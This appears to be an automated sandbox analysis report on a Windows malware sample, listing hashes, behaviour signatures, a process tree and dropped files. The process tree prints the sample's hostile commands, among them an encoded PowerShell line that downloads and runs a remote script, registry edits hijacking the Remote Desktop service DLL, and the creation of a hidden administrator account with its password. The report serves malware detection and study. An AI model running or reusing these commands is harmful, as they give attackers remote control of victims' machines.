Analysis

  • max time kernel
    62s
  • max time network
    115s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    20-08-2021 20:46

General

  • Target

    3cb66d271255d59945381fdc6fab9b91.exe

  • Size

    5.9MB

  • MD5

    3cb66d271255d59945381fdc6fab9b91

  • SHA1

    cba5bc5d238ffa84cadb81d8ac65c81c289ec74a

  • SHA256

    5911ad0a2f2f76cbe6e83b58b95ac820aee88b7fb37e017275bd3984b3b92bfa

  • SHA512

    770a6f375c8ba6c3c4a7da63652b58ccac9a3a0c005cf1cfc8db21447ae247bcc705c8f20da683ca89e1f0102604e23310be76c4c5daf358f81d2b36008c9a75

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3cb66d271255d59945381fdc6fab9b91.exe
    "C:\Users\Admin\AppData\Local\Temp\3cb66d271255d59945381fdc6fab9b91.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2424
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lcnd1suy\lcnd1suy.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1464
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB079.tmp" "c:\Users\Admin\AppData\Local\Temp\lcnd1suy\CSCFAAD2F90B96C460FA87F33275A183EC.TMP"
          4⤵
            PID:2084
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2164
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3176
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3968
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2312
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:576
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1152
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4088
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1436
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3852
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3932
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3524
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2060
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3028
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:496
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2292
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:2312
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:496
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:2364
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2324
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3928
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:3840
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc YsAAvQra /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:768
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc YsAAvQra /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3584
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc YsAAvQra /add
                          3⤵
                            PID:3692
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4088
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2188
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:3268
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3488
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2672
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:1064
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3828
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4084
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:2184
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc YsAAvQra
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3692
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc YsAAvQra
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:736
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc YsAAvQra
                                  3⤵
                                    PID:4000
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3268
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:2672
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:2276
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:812
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:2160
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:3932
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4004

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Temp\RESB079.tmp

                                          MD5

                                          7d3c59980133e790046e51abc446947d

                                          SHA1

                                          b290406160be7e70d97a67fffc6181fd13685ec7

                                          SHA256

                                          a219628767f86560c9a737ff2de538877989a40981d97035f7a82e13ca3dcb31

                                          SHA512

                                          8ea41f0e99ce0dc6d6493025440ec889ffb03b648f8f0f3d69edaea211d62db55c0d9180da0bc2fb8a1359d592adf7830e091fda49bc07f36dc7f9003f33a5e6

                                        • C:\Users\Admin\AppData\Local\Temp\lcnd1suy\lcnd1suy.dll

                                          MD5

                                          d41b3fc33334bb364961acb1b657bedb

                                          SHA1

                                          0fc32c4069831048b7160e52e12363e79169bdd1

                                          SHA256

                                          b6099eb746c97227d02a01b83698546ee1602a64bd4387f250522ba82f49a47c

                                          SHA512

                                          1dc96950e4b081991b3c95cbd149fb255192eda254f506d742ba55fb46877378629f96202a99296142ffa6d52352ade37f54f83bfd1c56dd8702e3c91f7ee83f

                                        • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                          MD5

                                          3447df88de7128bdc34942334b2fab98

                                          SHA1

                                          519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                          SHA256

                                          9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                          SHA512

                                          2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                        • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                          MD5

                                          b898b51a4248bca6b7845652bdc104c4

                                          SHA1

                                          7f8b2d9b32ac9cff983a7f9f88daf741db5bfb27

                                          SHA256

                                          156c6af2b92ae424573f6965b20b666ba26a9863e96aa2a799c32e386e9eb037

                                          SHA512

                                          119b7eefa328e50325511090fbcb5ea1b41b74be6e11fd6e87339eea6f2a454715afa21920bd91e176019e19f0a8899406f52edbc6099eed394d466b85870031

                                        • \??\c:\Users\Admin\AppData\Local\Temp\lcnd1suy\CSCFAAD2F90B96C460FA87F33275A183EC.TMP

                                          MD5

                                          1403f9ec4f8d64a087c540200b353553

                                          SHA1

                                          3b483cc9c2c7d7dcce647c8e2fd840dec394bc1f

                                          SHA256

                                          0ed9622fe225131820379eea76fe1320ce049e3c5c92501cdda2ac40dacc5503

                                          SHA512

                                          e6554c62585d428f229e08a6d8e8fa93cafd0d87d309173221cfa9b07d4debf36c55efff25b89f68cfa98577c347369a41d49705e22c117875faf3d988dc66dd

                                        • \??\c:\Users\Admin\AppData\Local\Temp\lcnd1suy\lcnd1suy.0.cs

                                          MD5

                                          4864fc038c0b4d61f508d402317c6e9a

                                          SHA1

                                          72171db3eea76ecff3f7f173b0de0d277b0fede7

                                          SHA256

                                          0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                          SHA512

                                          9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                        • \??\c:\Users\Admin\AppData\Local\Temp\lcnd1suy\lcnd1suy.cmdline

                                          MD5

                                          b1f603b8d6a4e672f4f64872a1b44ce4

                                          SHA1

                                          fef92eb8e7a193368c53967a489b1c326f7dcc32

                                          SHA256

                                          187185078db422f88678f4b15f859344e890c70408c14f6cdbdc93044bb0c64e

                                          SHA512

                                          be74ef8176e1e002a275ce2ba589b6442d1dc21358d38d21e07256ab751eb1c9305173e894e6d32f96c245fa4b2ead76f5632f16cc96aac1b590836ae8b5a702

                                        • \Windows\Branding\mediasrv.png

                                          MD5

                                          b7df367405df1d63dd0b77952f864d39

                                          SHA1

                                          0a4ead8259be4064ee7403833749bcb5a7464d72

                                          SHA256

                                          57214113a306cb06d2f41b4092c0c0ad3945ee7f5a8cc9381cfb4ba9ac2d8fc6

                                          SHA512

                                          8f2edf67b7d832255c41db8169b0e26b91e0082fbd1be68d3ee090067071bd7003605fb4aed450c9507541f0c39312c5bba6998320a26423354217d90d5408f4

                                        • \Windows\Branding\mediasvc.png

                                          MD5

                                          5cfa3b3e19ba458fc1459abd524532fd

                                          SHA1

                                          24b8d9f57c1a10b58b6962dcfc21405a6fd0b756

                                          SHA256

                                          b5e776f84f8f01fcc1fb822ff5612afe62097bf367ced2187fda0b5bf3d652ee

                                          SHA512

                                          3713961ce9a8edacc91acbf3958e190026bf9a7736fa1ee5b9dbfda9c58a72cfeb04c3699314339ee560bf7f97020abe08f692635b942c2b3ecafb1679c50b4b

                                        • memory/496-346-0x0000000000000000-mapping.dmp

                                        • memory/496-445-0x0000000000000000-mapping.dmp

                                        • memory/576-299-0x0000000000000000-mapping.dmp

                                        • memory/736-361-0x0000000000000000-mapping.dmp

                                        • memory/812-364-0x0000000000000000-mapping.dmp

                                        • memory/860-114-0x000001E87D930000-0x000001E87DD50000-memory.dmp

                                          Filesize

                                          4.1MB

                                        • memory/860-119-0x000001E87D4F6000-0x000001E87D4F7000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/860-118-0x000001E87D4F5000-0x000001E87D4F6000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/860-117-0x000001E87D4F3000-0x000001E87D4F5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/860-116-0x000001E87D4F0000-0x000001E87D4F2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1064-358-0x0000000000000000-mapping.dmp

                                        • memory/1152-300-0x0000000000000000-mapping.dmp

                                        • memory/1436-338-0x0000000000000000-mapping.dmp

                                        • memory/1464-136-0x0000000000000000-mapping.dmp

                                        • memory/2060-344-0x0000000000000000-mapping.dmp

                                        • memory/2084-140-0x0000000000000000-mapping.dmp

                                        • memory/2164-160-0x0000000000000000-mapping.dmp

                                        • memory/2164-170-0x0000021F492B3000-0x0000021F492B5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2164-168-0x0000021F492B0000-0x0000021F492B2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2164-192-0x0000021F492B6000-0x0000021F492B8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2164-209-0x0000021F492B8000-0x0000021F492BA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2184-360-0x0000000000000000-mapping.dmp

                                        • memory/2188-355-0x0000000000000000-mapping.dmp

                                        • memory/2292-347-0x0000000000000000-mapping.dmp

                                        • memory/2312-348-0x0000000000000000-mapping.dmp

                                        • memory/2312-298-0x0000000000000000-mapping.dmp

                                        • memory/2364-446-0x0000000000000000-mapping.dmp

                                        • memory/2424-120-0x0000000000000000-mapping.dmp

                                        • memory/2424-150-0x0000021B654F8000-0x0000021B654F9000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2424-125-0x0000021B654F0000-0x0000021B654F2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2424-137-0x0000021B654F6000-0x0000021B654F8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2424-126-0x0000021B65450000-0x0000021B65451000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2424-144-0x0000021B654A0000-0x0000021B654A1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2424-130-0x0000021B65680000-0x0000021B65681000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2424-127-0x0000021B654F3000-0x0000021B654F5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2424-151-0x0000021B65C10000-0x0000021B65C11000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2424-152-0x0000021B65FA0000-0x0000021B65FA1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2672-363-0x0000000000000000-mapping.dmp

                                        • memory/2672-357-0x0000000000000000-mapping.dmp

                                        • memory/3028-345-0x0000000000000000-mapping.dmp

                                        • memory/3176-210-0x000002C529270000-0x000002C529272000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3176-243-0x000002C529278000-0x000002C52927A000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3176-241-0x000002C529276000-0x000002C529278000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3176-211-0x000002C529273000-0x000002C529275000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3176-201-0x0000000000000000-mapping.dmp

                                        • memory/3268-356-0x0000000000000000-mapping.dmp

                                        • memory/3524-343-0x0000000000000000-mapping.dmp

                                        • memory/3584-353-0x0000000000000000-mapping.dmp

                                        • memory/3692-354-0x0000000000000000-mapping.dmp

                                        • memory/3840-352-0x0000000000000000-mapping.dmp

                                        • memory/3852-341-0x0000000000000000-mapping.dmp

                                        • memory/3928-351-0x0000000000000000-mapping.dmp

                                        • memory/3932-365-0x0000000000000000-mapping.dmp

                                        • memory/3932-342-0x0000000000000000-mapping.dmp

                                        • memory/3968-246-0x0000000000000000-mapping.dmp

                                        • memory/3968-278-0x00000226A9993000-0x00000226A9995000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3968-288-0x00000226A9998000-0x00000226A999A000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3968-279-0x00000226A9996000-0x00000226A9998000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3968-277-0x00000226A9990000-0x00000226A9992000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4000-362-0x0000000000000000-mapping.dmp

                                        • memory/4004-366-0x0000000000000000-mapping.dmp

                                        • memory/4004-379-0x0000027B443C3000-0x0000027B443C5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4004-377-0x0000027B443C0000-0x0000027B443C2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4004-381-0x0000027B443C6000-0x0000027B443C8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4004-419-0x0000027B443C8000-0x0000027B443C9000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/4084-359-0x0000000000000000-mapping.dmp

                                        • memory/4088-337-0x0000000000000000-mapping.dmp